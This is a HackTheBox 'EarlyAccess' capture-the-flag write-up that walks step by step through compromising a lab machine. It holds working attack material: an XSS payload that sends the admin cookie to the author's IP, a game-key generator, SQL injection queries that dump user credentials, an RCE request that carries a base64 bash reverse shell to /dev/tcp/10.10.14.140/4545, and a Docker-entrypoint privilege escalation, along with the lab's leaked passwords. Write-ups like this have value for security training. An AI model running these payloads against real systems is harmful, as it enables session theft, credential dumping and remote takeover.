HackTheBox: EarlyAccess | MyJourney
For better formatting, check my writeups on notion.
https://lordrukie.notion.site/Hard-EarlyAccess-8c9225e6bfa94079b9c302180ca5f06b
Foothold
First of all, i started with enumerating network (port scanning) using nmap
sudo nmap -sS -sV -sC -A earlyaccess.htb
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey:| 2048 e4:66:28:8e:d0:bd:f3:1d:f1:8d:44:e9:14:1d:9c:64 (RSA)| 256 b3:a8:f4:49:7a:03:79:d3:5a:13:94:24:9b:6a:d1:bd (ECDSA)|_ 256 e9:aa:ae:59:4a:37:49:a6:5a:2a:32:1d:79:26:ed:bb (ED25519)80/tcp open http Apache httpd 2.4.38|_http-server-header: Apache/2.4.38 (Debian)|_http-title: Did not follow redirect to https://earlyaccess.htb/443/tcp open ssl/ssl Apache httpd (SSL-only mode)|_http-server-header: Apache/2.4.38 (Debian)|_http-title: EarlyAccess| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT| Not valid before: 2021-08-18T14:46:57|_Not valid after: 2022-08-18T14:46:57|_ssl-date: TLS randomness does not represent time| tls-alpn:|_ http/1.1Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (93%)No exact OS matches for host (test conditions non-ideal).Network Distance: 2 hopsService Info: Host: 172.18.0.102; OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are 3 open port, 22 for ssh, 80 and 443 for web services.
When i tried to access the webservices using port 80, it always redirect me into port 443.
There are login and register page. Tried using sql into login page but it failed. So let’s register
After registered from that page, we’ll redirected into dashboard page
There’re Messaging feature that always readed by the admin
Then i tried to input xss payload there and see if something hit my http server.
but nothing happend, even after the admin read my message
go deeper into the website and i see this discussion on forum page
it mentioned about invalid username.. maybe we can input xss payload there?
but now i confused.. where the username reflected? After clicking link one by one, i found that my username reflected when seeing detail message.
you can’t see my username right? that because my username was rendered as html tag.
but when i checked my http server, it show nothing. That happened because my browser block it since i use http and not https on the payload
When i change both my payload and port i got fired by request.
as you see, the request was not readable and returned error code 400. So i guess we should create some certificate and attach it when running https server. I use this script for creating https server with little modification on hosts and port.
https://gist.github.com/dergachev/7028596
https://gist.github.com/dergachev/7028596
then i inputed this payload on username
<script>const xhttp = new XMLHttpRequest(); const ip = "https://10.10.14.140/"; xhttp.open("GET", `${ip}?cookie=${document.cookie}`, true); xhttp.send();</script>
wait for a minute and you’ll get admin’s cookie
just replace your session with admin’s session and you’ll log in as admin.
Getting Admin Password
After that, you’ll see new navigation
We got two new subdomain from that.
dev.earlyaccess.htbgame.earlyaccess.htb
There’re interesting page also
based on the description, we can download the key validator for local use since the api was down.
#!/usr/bin/env python3
import sys
from re import matchclass Key:
key = ""
magic_value = "XP" # Static (same on API)
magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)def __init__(self, key:str, magic_num:int=346):
self.key = key
if magic_num != 0:
self.magic_num = magic_num@staticmethod
def info() -> str:
return f"""
# Game-Key validator #Can be used to quickly verify a user's game key, when the API is down (again).Keys look like the following:
AAAAA-BBBBB-CCCC1-DDDDD-1234Usage: {sys.argv[0]} <game-key>"""def valid_format(self) -> bool:
return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))def calc_cs(self) -> int:
gs = self.key.split('-')[:-1]
return sum([sum(bytearray(g.encode())) for g in gs])def g1_valid(self) -> bool:
g1 = self.key.split('-')[0]
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
if r != [221, 81, 145]:
return False
for v in g1[3:]:
try:
int(v)
except:
return False
return len(set(g1)) == len(g1)def g2_valid(self) -> bool:
g2 = self.key.split('-')[1]
p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))def g3_valid(self) -> bool:
# TODO: Add mechanism to sync magic_num with API
g3 = self.key.split('-')[2]
if g3[0:2] == self.magic_value:
return sum(bytearray(g3.encode())) == self.magic_num
else:
return Falsedef g4_valid(self) -> bool:
return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]def cs_valid(self) -> bool:
cs = int(self.key.split('-')[-1])
return self.calc_cs() == csdef check(self) -> bool:
if not self.valid_format():
print('Key format invalid!')
return False
if not self.g1_valid():
return False
if not self.g2_valid():
return False
if not self.g3_valid():
return False
if not self.g4_valid():
return False
if not self.cs_valid():
print('[Critical] Checksum verification failed!')
return False
return Trueif __name__ == "__main__":
if len(sys.argv) != 2:
print(Key.info())
sys.exit(-1)
input = sys.argv[1]
validator = Key(input)
if validator.check():
print(f"Entered key is valid!")
else:
print(f"Entered key is invalid!")
based on that validator script, we can brute for exact format and then brute again for magic_num value because the API regenerate magic_num after 30 mins.
i made this script for bruteforce the valid key based on validate.py file or you can just access it on https://github.com/lordrukie/HackTheBox-EarlyAccess
#!/usr/bin/python3
import random
import sysclass Keygen:
key = ""
word = list("ABCDEFGHIJKLMNOPQRSTUVWXYX0123456789")def __init__(self, magic_num:int=346):
if magic_num != 0:
self.magic_num = magic_numdef key1(self) -> str:
res = [221, 81, 145]
for i, v in enumerate(res):
for ii, vv in enumerate(self.word):
r = (ord(vv)<<i+1)%256^ord(vv)
if r == res[i]:
key = ""
self.key += vv
self.key += "21"def key2(self):
while True:
new = random.sample(self.word,5)
new = ''.join(new)p1 = new[::2]
p2 = new[1::2]
if sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())):
self.key += "-"
self.key += new
returndef key3(self):
magic_num = 346
alpha = list("ABCDEFGHIJKLMNOPQRSTUVWXYX")
number = list("0123456789")
for x in alpha:
for y in alpha:
for num in number:
array = "XP{}{}{}".format(x,y,num)
if sum(bytearray(array.encode())) == magic_num:
self.key += "-"
self.key += arraydef key4(self):
self.key += "-"
self.key += 'GAMG1'
return
# code below is for bruteforcing the key, it take long time so i'll skip this.
for a in self.word:
for b in self.word:
for c in self.word:
for d in self.word:
for e in self.word:
new = [a,b,c,d,e]
if [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], new)] == [12, 4, 20, 117, 0]:
self.key += "-"
self.key += ''.join(new)
returndef key5(self):
number = list("0123456789")
for a in number:
for b in number:
for c in number:
for d in number:
new = ''.join([a,b,c,d])
gs = self.key.split('-')
if sum([sum(bytearray(g.encode())) for g in gs]) == int(new):
self.key += "-"
self.key += new
returndef generate(self):
self.key1()
self.key2()
self.key3()
self.key4()
self.key5()
return self.keykey = Keygen()
print(key.generate())
After knowing the right format, i brute again for magic_num and change the key based on that magic_num using this script.
#!/usr/bin/python3
import random
import sysclass Keygen:
key = ""
number = list("0123456789")
state = ""def key3(self):
alpha = list("ABCDEFGHIJKLMNOPQRSTUVWXYX")
number = list("0123456789")
magic_num = 300
while magic_num <= 500:
magic_num += 1
for x in alpha:
for y in alpha:
for num in number:
self.key = ""
array = "XP{}{}{}".format(x,y,num)
self.key += "KEY21-7M5W8-"if sum(bytearray(array.encode())) == magic_num:
self.key += array
self.key5()def key5(self):
self.key += "-GAMG1"
number = list("0123456789")
for a in number:
for b in number:
for c in number:
for d in number:
new = ''.join([a,b,c,d])
gs = self.key.split('-')
if sum([sum(bytearray(g.encode())) for g in gs]) == int(new):
self.key += "-"
self.key += new
if not self.key.split('-')[-1] == self.state:
print(self.key)
self.state = new
self.key = ""def generate(self):
self.key3()key = Keygen()
key.generate()
After that all, you’ll get 60 keys. You can use burp intruder to submit those key until get the valid one and game section will show up after that
Use your previous account to login into http://game.earlyaccess.htb
it’s a snake game xD
after play it for a while and go to scoreboard page, i saw my username was reflected.
Remember this discussion that we found earlier? maybe the scoreboard page was vulnerable to sql injection too.
i change my username to an sql payload from https://earlyaccess.htb/user/profile
then go to the game-scoreboard menu again and boooooom!.
After that, i tried many of payload until found the right query.
user') union select 1,2,3-- -
then i can just get the username and password from current databases.
user') union select 1,2,(select group_concat(email, '||', password) from users)-- -
it’s sha1 hash, so let’s crack it
https://hashcat.net/wiki/doku.php?id=hashcat
hashcat -m 100 hash /usr/share/wordlists/rockyou.txtusername : admin@earlyaccess.htbpassword : gameover
Getting RCE / Shell
now we can login with those credentials into dev page on http://dev.earlyaccess.htb/
the website have small functionality, just for encoding and validate hashes. So we need to enum that page. I using dirsearch for enum.
dirsearch -u <http://dev.earlyaccess.htb> --cookie="PHPSESSID=ce5ea31d8ac74925514ef07dc7ef7f72"Target: <http://dev.earlyaccess.htb/>[00:37:22] Starting:
[00:37:58] 301 - 328B - /actions -> <http://dev.earlyaccess.htb/actions/>
[00:38:20] 301 - 327B - /assets -> <http://dev.earlyaccess.htb/assets/>
[00:38:20] 403 - 284B - /assets/
[00:38:44] 302 - 4KB - /home.php -> /index.php
[00:38:47] 301 - 329B - /includes -> <http://dev.earlyaccess.htb/includes/>
[00:38:47] 403 - 284B - /includes/
[00:38:47] 200 - 3KB - /index.php
[00:38:47] 200 - 3KB - /index.php/login/
[00:39:16] 403 - 284B - /server-status
[00:39:16] 403 - 284B - /server-status/
they are some directory also, let’s enum on that directory
dirsearch -u <http://dev.earlyaccess.htb/actions> --cookie="PHPSESSID=ce5ea31d8ac74925514ef07dc7ef7f72"Target: <http://dev.earlyaccess.htb/actions/>[00:41:07] Starting:
[00:42:34] 500 - 35B - /actions/file.php
[00:42:54] 302 - 0B - /actions/login.php -> /index.php
[00:42:55] 302 - 0B - /actions/logout.php -> /home.php
the /actions/file.php are interesting
maybe we need to put some parameters into that endpoint? i using ffuf to fuzz the parameters.
ffuf -u http://dev.earlyaccess.htb/actions/file.php?FUZZ -b "PHPSESSID=ce5ea31d8ac74925514ef07dc7ef7f72" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all -fw 3
and we got filepath parameters. Maybe there are some lfi?
we just can access files that on current directory (actions/). If you noticed, the hash file also on this directory.
it said the file successfully loaded. Let’s use php wrapper to see what’s inside that file.
we can decode that using base64decoder and you’ll get this source code.
<?php
include_once "../includes/session.php";function hash_pw($hash_function, $password)
{
// DEVELOPER-NOTE: There has gotta be an easier way...
ob_start();
// Use inputted hash_function to hash password
$hash = @$hash_function($password);
ob_end_clean();
return $hash;
}try
{
if(isset($_REQUEST['action']))
{
if($_REQUEST['action'] === "verify")
{
// VERIFIES $password AGAINST $hashif(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
{
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");$hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);$_SESSION['verify'] = ($hash === $_REQUEST['hash']);
header('Location: /home.php?tool=hashing');
return;
}
}
elseif($_REQUEST['action'] === "verify_file")
{
//TODO: IMPLEMENT FILE VERIFICATION
}
elseif($_REQUEST['action'] === "hash_file")
{
//TODO: IMPLEMENT FILE-HASHING
}
elseif($_REQUEST['action'] === "hash")
{
// HASHES $password USING $hash_functionif(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
{
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");$hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
if(!isset($_REQUEST['redirect']))
{
echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
echo '<br>' . $hash;
return;
}
else
{
$_SESSION['hash'] = $hash;
header('Location: /home.phpbase64: invalid input
let’s take closer on this code
($_REQUEST['action'] === "hash")
{
// HASHES $password USING $hash_functionif(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
{
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");$hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
if(!isset($_REQUEST['redirect']))
{
echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
echo '<br>' . $hash;
return;
}
else
{
$_SESSION['hash'] = $hash;
header('Location: /home.php')
it allows custom hashes if debug parameter was set on request and it will redirect user into home page if the redirect parameter was set. After that, our hash_function value and password value are passed into hash_pw function.
Let’s see the hash_pw function closer
function hash_pw($hash_function, $password)
{
// DEVELOPER-NOTE: There has gotta be an easier way...
ob_start();
// Use inputted hash_function to hash password
$hash = @$hash_function($password);
ob_end_clean();
return $hash;
}
it will execute our hash_function as a function and then our password value becoming the arguments for that function.
based on that information, we can just first removing the “redirect” parameter, adding “debug” parameter, change “hash_function” value into whatever function that we want (i use exec as an example) and change “password” value into argument that later will be executed with exec function.
if we want to getting reverse shell with exec funtion, we can just passing simmilar parameters when request in hashing function on that website.
action=hash&password=echo+L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE0MC80NTQ1IDA+JjEnCg==|base64+-d|bash&hash_function=exec&debug=true
The base64 value are reverse shell like this.
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.140/4545 0>&1'
Escaping From Docker Container
There are www-adm user.
Let’s check if we can log in into that account using credentials that we have from sqli
user : www-admpass : gameover
Great, not we have www-adm user. let’s using python for more stable shell.
python3 -c "import pty; pty.spawn('/bin/bash')"
On the home directory, there’re interesting file that allow be open from www-adm user. only
it was api credentials, maybe it’s the same api that be used to validate game key. Let’s enum more to find the exact api endpoint.
The website itself validate the key using /key/add endpoint, so let’s find it on the system.
it using add_key function from /var/www/html/app/Http/Controllers/UserController.php
and inside that file, it import file from /var/www/html/app/Models/API.php
and finally, we found what we search for
Let’s try to curl that API
now we got new endpoint. Let’s check what inside that API endpoint using wget since there are .wgetrc that contains API credentials.
check_db files are in json format, this is the result after beautifying the file
{
"message": {
"AppArmorProfile": "docker-default",
"Args": [
"--character-set-server=utf8mb4",
"--collation-server=utf8mb4_bin",
"--skip-character-set-client-handshake",
"--max_allowed_packet=50MB",
"--general_log=0",
"--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES"
],
"Config": {
"AttachStderr": false,
"AttachStdin": false,
"AttachStdout": false,
"Cmd": [
"--character-set-server=utf8mb4",
"--collation-server=utf8mb4_bin",
"--skip-character-set-client-handshake",
"--max_allowed_packet=50MB",
"--general_log=0",
"--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES"
],
"Domainname": "",
"Entrypoint": [
"docker-entrypoint.sh"
],
"Env": [
"MYSQL_DATABASE=db",
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
"SERVICE_TAGS=dev",
"SERVICE_NAME=mysql",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.12",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.25-1debian10"
],
"ExposedPorts": {
"3306/tcp": {},
"33060/tcp": {}
},
"Healthcheck": {
"Interval": 5000000000,
"Retries": 3,
"Test": [
"CMD-SHELL",
"mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent"
],
"Timeout": 2000000000
},
"Hostname": "mysql",
"Image": "mysql:latest",
"Labels": {
"com.docker.compose.config-hash": "947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "app",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/app",
"com.docker.compose.service": "mysql",
"com.docker.compose.version": "1.29.1"
},
"OnBuild": null,
"OpenStdin": false,
"StdinOnce": false,
"Tty": true,
"User": "",
"Volumes": {
"/docker-entrypoint-initdb.d": {},
"/var/lib/mysql": {}
},
"WorkingDir": ""
},
"Created": "2021-09-17T05:16:35.784843153Z",
"Driver": "overlay2",
"ExecIDs": null,
"GraphDriver": {
"Data": {
"LowerDir": "/var/lib/docker/overlay2/57bcc32d0dd4414dc0b9c0e8df2217348990b080f35332701c30ac6d0bca6562-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff",
"MergedDir": "/var/lib/docker/overlay2/57bcc32d0dd4414dc0b9c0e8df2217348990b080f35332701c30ac6d0bca6562/merged",
"UpperDir": "/var/lib/docker/overlay2/57bcc32d0dd4414dc0b9c0e8df2217348990b080f35332701c30ac6d0bca6562/diff",
"WorkDir": "/var/lib/docker/overlay2/57bcc32d0dd4414dc0b9c0e8df2217348990b080f35332701c30ac6d0bca6562/work"
},
"Name": "overlay2"
},
"HostConfig": {
"AutoRemove": false,
"Binds": [
"app_vol_mysql:/var/lib/mysql:rw",
"/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro"
],
"BlkioDeviceReadBps": null,
"BlkioDeviceReadIOps": null,
"BlkioDeviceWriteBps": null,
"BlkioDeviceWriteIOps": null,
"BlkioWeight": 0,
"BlkioWeightDevice": null,
"CapAdd": [
"SYS_NICE"
],
"CapDrop": null,
"Cgroup": "",
"CgroupParent": "",
"CgroupnsMode": "host",
"ConsoleSize": [
0,
0
],
"ContainerIDFile": "",
"CpuCount": 0,
"CpuPercent": 0,
"CpuPeriod": 0,
"CpuQuota": 0,
"CpuRealtimePeriod": 0,
"CpuRealtimeRuntime": 0,
"CpuShares": 0,
"CpusetCpus": "",
"CpusetMems": "",
"DeviceCgroupRules": null,
"DeviceRequests": null,
"Devices": null,
"Dns": null,
"DnsOptions": null,
"DnsSearch": null,
"ExtraHosts": null,
"GroupAdd": null,
"IOMaximumBandwidth": 0,
"IOMaximumIOps": 0,
"IpcMode": "private",
"Isolation": "",
"KernelMemory": 0,
"KernelMemoryTCP": 0,
"Links": null,
"LogConfig": {
"Config": {},
"Type": "json-file"
},
"MaskedPaths": [
"/proc/asound",
"/proc/acpi",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",
"/proc/timer_stats",
"/proc/sched_debug",
"/proc/scsi",
"/sys/firmware"
],
"Memory": 0,
"MemoryReservation": 0,
"MemorySwap": 0,
"MemorySwappiness": null,
"NanoCpus": 0,
"NetworkMode": "app_nw",
"OomKillDisable": false,
"OomScoreAdj": 0,
"PidMode": "",
"PidsLimit": null,
"PortBindings": {},
"Privileged": false,
"PublishAllPorts": false,
"ReadonlyPaths": [
"/proc/bus",
"/proc/fs",
"/proc/irq",
"/proc/sys",
"/proc/sysrq-trigger"
],
"ReadonlyRootfs": false,
"RestartPolicy": {
"MaximumRetryCount": 0,
"Name": "always"
},
"Runtime": "runc",
"SecurityOpt": null,
"ShmSize": 67108864,
"UTSMode": "",
"Ulimits": null,
"UsernsMode": "",
"VolumeDriver": "",
"VolumesFrom": []
},
"HostnamePath": "/var/lib/docker/containers/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059/hostname",
"HostsPath": "/var/lib/docker/containers/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059/hosts",
"Id": "ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059",
"Image": "sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287",
"LogPath": "/var/lib/docker/containers/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059-json.log",
"MountLabel": "",
"Mounts": [
{
"Destination": "/var/lib/mysql",
"Driver": "local",
"Mode": "rw",
"Name": "app_vol_mysql",
"Propagation": "",
"RW": true,
"Source": "/var/lib/docker/volumes/app_vol_mysql/_data",
"Type": "volume"
},
{
"Destination": "/docker-entrypoint-initdb.d",
"Mode": "ro",
"Propagation": "rprivate",
"RW": false,
"Source": "/root/app/scripts/init.d",
"Type": "bind"
}
],
"Name": "/mysql",
"NetworkSettings": {
"Bridge": "",
"EndpointID": "",
"Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"HairpinMode": false,
"IPAddress": "",
"IPPrefixLen": 0,
"IPv6Gateway": "",
"LinkLocalIPv6Address": "",
"LinkLocalIPv6PrefixLen": 0,
"MacAddress": "",
"Networks": {
"app_nw": {
"Aliases": [
"mysql",
"ca5245ff06eb"
],
"DriverOpts": null,
"EndpointID": "dc1cf0ce4f443306bda2c07234edeb794084fcb979075021688b6665710ee22c",
"Gateway": "172.18.0.1",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"IPAMConfig": {
"IPv4Address": "172.18.0.100"
},
"IPAddress": "172.18.0.100",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"Links": null,
"MacAddress": "02:42:ac:12:00:64",
"NetworkID": "34735d9e1774107aac31269e5cc3d201a32011aad38cc24e07e0ea3b7423f1b2"
}
},
"Ports": {
"3306/tcp": null,
"33060/tcp": null
},
"SandboxID": "c6154ddd1c63bb531605e9fc323b105f2d2fe7ae71c1114e7e13f91c690e1a11",
"SandboxKey": "/var/run/docker/netns/c6154ddd1c63",
"SecondaryIPAddresses": null,
"SecondaryIPv6Addresses": null
},
"Path": "docker-entrypoint.sh",
"Platform": "linux",
"ProcessLabel": "",
"ResolvConfPath": "/var/lib/docker/containers/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059/resolv.conf",
"RestartCount": 0,
"State": {
"Dead": false,
"Error": "",
"ExitCode": 0,
"FinishedAt": "0001-01-01T00:00:00Z",
"Health": {
"FailingStreak": 0,
"Log": [
{
"End": "2021-09-18T09:34:18.234775312+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:18.161104073+02:00"
},
{
"End": "2021-09-18T09:34:23.331586759+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:23.237917879+02:00"
},
{
"End": "2021-09-18T09:34:28.403534159+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:28.334032504+02:00"
},
{
"End": "2021-09-18T09:34:33.482381881+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:33.406296675+02:00"
},
{
"End": "2021-09-18T09:34:38.550375739+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:38.484955796+02:00"
}
],
"Status": "healthy"
},
"OOMKilled": false,
"Paused": false,
"Pid": 1093,
"Restarting": false,
"Running": true,
"StartedAt": "2021-09-17T05:16:39.278882492Z",
"Status": "running"
}
},
"status": 200
}
now we got some credentials here
"Env": [
"MYSQL_DATABASE=db",
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
"SERVICE_TAGS=dev",
"SERVICE_NAME=mysql",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.12",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.25-1debian10"
],user : drew
pass1 : drew
pass2 : XeoNu86JTznxMCQuGHrGutF3Csq5
maybe some of those password are actual password for drew user on host machine? After trying to connect with ssh, i got the right credentials
user : drew
pass : XeoNu86JTznxMCQuGHrGutF3Csq5
got user flag now
Privilege Escalation
After running linpeas on the system, i found several point what i think it was interesting.
there are public ssh key that should allow us to connect without password into that remote hosts.
maybe some of this ip was the hosts?
then i found this interesting file also
and it seems like drew user have mail available, we’ll check it later.
First i check for node-server.sh files that i’ve found earlier.
it will execute server.js, so i tried to make server.js file. but after a minute, my file was gone.
it seems like there are some cron that always clear the directory and add node-server.sh again.
let’s check email now
maybe there are some instance that always restarted after crashing? Since the node-server.sh file are on docker-entrypoint.d directory, maybe that script will be execute when the instance restarted.
now let’s tried to find game-server host based on available ip that we found earlier. short story, i found that game-server ip are 172.19.0.2
host : 172.19.0.2
user : game-tester
there are port 9999 open, it was http server
i use port forwarding from game-server to earlyacess machine, then forward it again from earlyaccess machine into my host / localhost so i can access it on my browser.
it’s a simple game. Let’s continuing for enumeration on game-server.
i found that docker-entrypoint.d directory was mounted into this server since there are identical.
when i tried to add some files from earlyaccess machine, it will also showing up on game-server
and after looking from entrypoint.sh on game-server. Everything on /docker-entrypoint.d/ will be executed when the container rebuild.
so we need to add bash file inside docker-entrypoint.d directory, then we should crash that game so the server will be rebuild. Then our script will be executed as root. But we need to do it fast since docker-entrypoint.d directory always be rewritten in a minute.
but how to make the game crashed? let’s see the source code. it located on /usr/src/app/ (know it from node-server.js file).
'use strict';var express = require('express');
var ip = require('ip');const PORT = 9999;
var rounds = 3;// App
var app = express();
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: true }));/**
* <https://stackoverflow.com/a/1527820>
*
* Returns a random integer between min (inclusive) and max (inclusive).
* The value is no lower than min (or the next integer greater than min
* if min isn't an integer) and no greater than max (or the next integer
* lower than max if max isn't an integer).
* Using Math.round() will give you a non-uniform distribution!
*/
function random(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min + 1)) + min;
}/**
* <https://stackoverflow.com/a/11377331>
*
* Returns result of game (randomly determined)
*
*/
function play(player = -1)
{
// Random numbers to determine win
if (player == -1)
player = random(1, 3);
var computer = random(1, 3);if (player == computer) return 'tie';
else if ((player - computer + 3) % 3 == 1) return 'win';
else return 'loss';
}app.get('/', (req, res) => {
res.render('index');
});app.get('/autoplay', (req,res) => {
res.render('autoplay');
});app.get('/rock', (req,res) => {
res.render('index', {result:play(1)});
});app.get('/paper', (req,res) => {
res.render('index', {result:play(2)});
});app.get('/scissors', (req,res) => {
res.render('index', {result:play(3)});
});app.post('/autoplay', async function autoplay(req,res) {// Stop execution if not number
if (isNaN(req.body.rounds))
{
res.sendStatus(500);
return;
}
// Stop execution if too many rounds are specified (performance issues may occur otherwise)
if (req.body.rounds > 100)
{
res.sendStatus(500);
return;
}rounds = req.body.rounds;res.write('<html><body>')
res.write('<h1>Starting autoplay with ' + rounds + ' rounds</h1>');var counter = 0;
var rounds_ = rounds;
var wins = 0;
var losses = 0;
var ties = 0;while(rounds != 0)
{
counter++;
var result = play();
if(req.body.verbose)
{
res.write('<p><h3>Playing round: ' + counter + '</h3>\\n');
res.write('Outcome of round: ' + result + '</p>\\n');
}
if (result == "win")
wins++;
else if(result == "loss")
losses++;
else
ties++;// Decrease round
rounds = rounds - 1;
}
rounds = rounds_;res.write('<h4>Stats:</h4>')
res.write('<p>Wins: ' + wins + '</p>')
res.write('<p>Losses: ' + losses + '</p>')
res.write('<p>Ties: ' + ties + '</p>')
res.write('<a href="/autoplay">Go back</a></body></html>')
res.end()
});app.listen(PORT, "0.0.0.0");
console.log(`Running on <http://$>{ip.address()}:${PORT}`);
based on that source code, we can input rounds with coma on /autoplay so it will crashing.
curl localhost:9999/autoplay -X POST --data "rounds=9.2&verbose=true"
